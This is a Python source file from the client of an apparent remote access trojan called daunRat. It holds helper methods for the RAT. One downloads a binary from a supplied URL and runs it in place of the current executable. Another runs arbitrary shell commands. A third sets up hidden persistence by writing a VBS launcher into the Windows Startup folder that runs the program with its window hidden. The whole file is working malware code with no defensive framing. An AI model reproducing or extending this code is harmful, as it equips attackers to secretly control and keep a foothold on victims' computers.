Files
daunRat/client/modules/selfutil.py
2022-04-30 13:04:54 +03:00

37 lines
1.2 KiB
Python

import psutil
class daunrat:
@staticmethod
def upgrade(url: str, old: str = "daunRat.exe", destination: str = "daunRat.exe", command: str = "daunRat.exe"):
import requests
import subprocess
import sys
import os
os.rename(old, "olddaun")
with open(destination, 'wb') as f:
f.write(requests.get(url).content)
subprocess.Popen(command, shell=True, close_fds=True)
sys.exit(0)
@staticmethod
def restart(command: str):
import subprocess
import sys
subprocess.Popen(command, shell=True, close_fds=True)
sys.exit(0)
@staticmethod
def startup(path: str = psutil.Process().exe(), startupname: str = "daunRat", copy_to: str = None,
copy_from: str = None):
import os.path
if copy_to and copy_from:
import shutil
shutil.copy(copy_from, copy_to)
path = copy_to
with open(os.path.expandvars(f"%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\\{startupname}.vbs"),
"w+") as f:
f.write(f'''Set WshShell = CreateObject("WScript.Shell")
WshShell.Run "{path} ""--start""", 0
Set WshShell = Nothing''')